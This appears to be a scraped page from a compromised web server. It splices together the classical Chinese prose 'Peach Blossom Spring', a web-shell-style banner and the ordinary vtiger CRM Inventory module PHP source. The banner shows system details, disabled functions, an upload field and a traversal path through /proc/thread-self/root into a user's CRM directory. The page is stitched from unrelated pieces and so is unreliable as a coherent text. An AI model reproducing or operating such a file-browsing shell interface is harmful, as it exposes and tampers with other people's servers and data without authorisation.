晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/thread-self/root/home/akaindir/www/crm/modules/Inventory/models/ |
Upload File : |
<?php
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
/**
* Inventory Module Model Class
*/
class Inventory_Module_Model extends Vtiger_Module_Model {
/**
* Function to check whether the module is an entity type module or not
* @return <Boolean> true/false
*/
public function isQuickCreateSupported(){
//SalesOrder module is not enabled for quick create
return false;
}
/**
* Function to check whether the module is summary view supported
* @return <Boolean> - true/false
*/
public function isSummaryViewSupported() {
return true;
}
public function isCommentEnabled() {
return true;
}
static function getAllCurrencies() {
return getAllCurrencies();
}
static function getAllProductTaxes() {
$taxes = array();
$availbleTaxes = getAllTaxes('available');
foreach ($availbleTaxes as $taxInfo) {
if ($taxInfo['method'] === 'Deducted') {
continue;
}
$taxInfo['compoundon'] = Zend_Json::decode(html_entity_decode($taxInfo['compoundon']));
$taxInfo['regions'] = Zend_Json::decode(html_entity_decode($taxInfo['regions']));
$taxes[$taxInfo['taxid']] = $taxInfo;
}
return $taxes;
}
static function getAllShippingTaxes() {
return Inventory_Charges_Model::getChargeTaxesList();
}
/**
* Function to get relation query for particular module with function name
* @param <record> $recordId
* @param <String> $functionName
* @param Vtiger_Module_Model $relatedModule
* @return <String>
*/
public function getRelationQuery($recordId, $functionName, $relatedModule, $relationId) {
if ($functionName === 'get_activities') {
$userNameSql = getSqlForNameInDisplayFormat(array('first_name' => 'vtiger_users.first_name', 'last_name' => 'vtiger_users.last_name'), 'Users');
$query = "SELECT CASE WHEN (vtiger_users.user_name not like '') THEN $userNameSql ELSE vtiger_groups.groupname END AS user_name,
vtiger_crmentity.*, vtiger_activity.activitytype, vtiger_activity.subject, vtiger_activity.date_start, vtiger_activity.time_start,
vtiger_activity.recurringtype, vtiger_activity.due_date, vtiger_activity.time_end, vtiger_activity.visibility, vtiger_seactivityrel.crmid AS parent_id,
CASE WHEN (vtiger_activity.activitytype = 'Task') THEN (vtiger_activity.status) ELSE (vtiger_activity.eventstatus) END AS status
FROM vtiger_activity
INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_activity.activityid
LEFT JOIN vtiger_seactivityrel ON vtiger_seactivityrel.activityid = vtiger_activity.activityid
LEFT JOIN vtiger_cntactivityrel ON vtiger_cntactivityrel.activityid = vtiger_activity.activityid
LEFT JOIN vtiger_users ON vtiger_users.id = vtiger_crmentity.smownerid
LEFT JOIN vtiger_groups ON vtiger_groups.groupid = vtiger_crmentity.smownerid
WHERE vtiger_crmentity.deleted = 0 AND vtiger_activity.activitytype <> 'Emails'
AND vtiger_seactivityrel.crmid = ".$recordId;
$relatedModuleName = $relatedModule->getName();
$query .= $this->getSpecificRelationQuery($relatedModuleName);
$nonAdminQuery = $this->getNonAdminAccessControlQueryForRelation($relatedModuleName);
if ($nonAdminQuery) {
$query = appendFromClauseToQuery($query, $nonAdminQuery);
if(trim($nonAdminQuery)) {
$relModuleFocus = CRMEntity::getInstance($relatedModuleName);
$condition = $relModuleFocus->buildWhereClauseConditionForCalendar();
if($condition) {
$query .= ' AND '.$condition;
}
}
}
} else {
$query = parent::getRelationQuery($recordId, $functionName, $relatedModule, $relationId);
}
return $query;
}
/**
* Function returns export query
* @param <String> $where
* @return <String> export query
*/
public function getExportQuery($focus, $query) {
$baseTableName = $focus->table_name;
$splitQuery = preg_split('/ FROM /i', $query);
$columnFields = explode(',', $splitQuery[0]);
foreach ($columnFields as $key => &$value) {
if($value == ' vtiger_inventoryproductrel.discount_amount'){
$value = ' vtiger_inventoryproductrel.discount_amount AS item_discount_amount';
} else if($value == ' vtiger_inventoryproductrel.discount_percent'){
$value = ' vtiger_inventoryproductrel.discount_percent AS item_discount_percent';
} else if($value == " $baseTableName.currency_id"){
$value = ' vtiger_currency_info.currency_name AS currency_id';
}
}
$joinSplit = preg_split('/ WHERE /i',$splitQuery[1]);
$joinSplit[0] .= " LEFT JOIN vtiger_currency_info ON vtiger_currency_info.id = $baseTableName.currency_id";
$splitQuery[1] = $joinSplit[0] . ' WHERE ' .$joinSplit[1];
$query = implode(',', $columnFields).' FROM ' . $splitQuery[1];
return $query;
}
/*
* Function to get supported utility actions for a module
*/
function getUtilityActionsNames() {
return array('Import', 'Export');
}
}